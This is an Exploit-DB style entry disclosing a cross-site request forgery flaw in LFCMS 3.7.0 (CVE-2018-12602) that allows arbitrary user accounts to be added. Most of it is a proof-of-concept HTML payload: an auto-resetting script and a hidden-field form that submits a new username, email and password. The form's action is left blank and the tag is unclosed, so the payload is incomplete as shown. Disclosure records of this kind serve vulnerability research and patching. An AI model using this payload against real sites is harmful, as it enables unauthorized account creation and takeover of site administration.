LFCMS 3.7.0 - Cross-Site Request Forgery (Add User)

EDB-ID: 44918
Author: bay0net
Published: 2018-06-21
CVE: CVE-2018-12602
Type: Webapps
Platform: PHP
Vulnerable App: N/A

 # Date: 2018-06-20 
# Exploit Author: bay0net
# Vendor Homepage: https://www.cnblogs.com/v1vvwv/p/9203740.html
# Software Link: http://www.lfdycms.com/home/down/index/id/26.html
# Version: 3.7.0
# CVE : CVE-2018-12602

A CSRF vulnerability exists in LFCMS_3.7.0: users can be added arbitrarily.

The payload for attack is as follows.

<script>history.pushState('', '', '/')</script>
<form action="" method="POST">
<input type="hidden" name="username" value="test222" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="password" value="test222" />
<input type="hidden" name="repassword" value="test222" />
<input type="submit" value="Submit request" />

Related Posts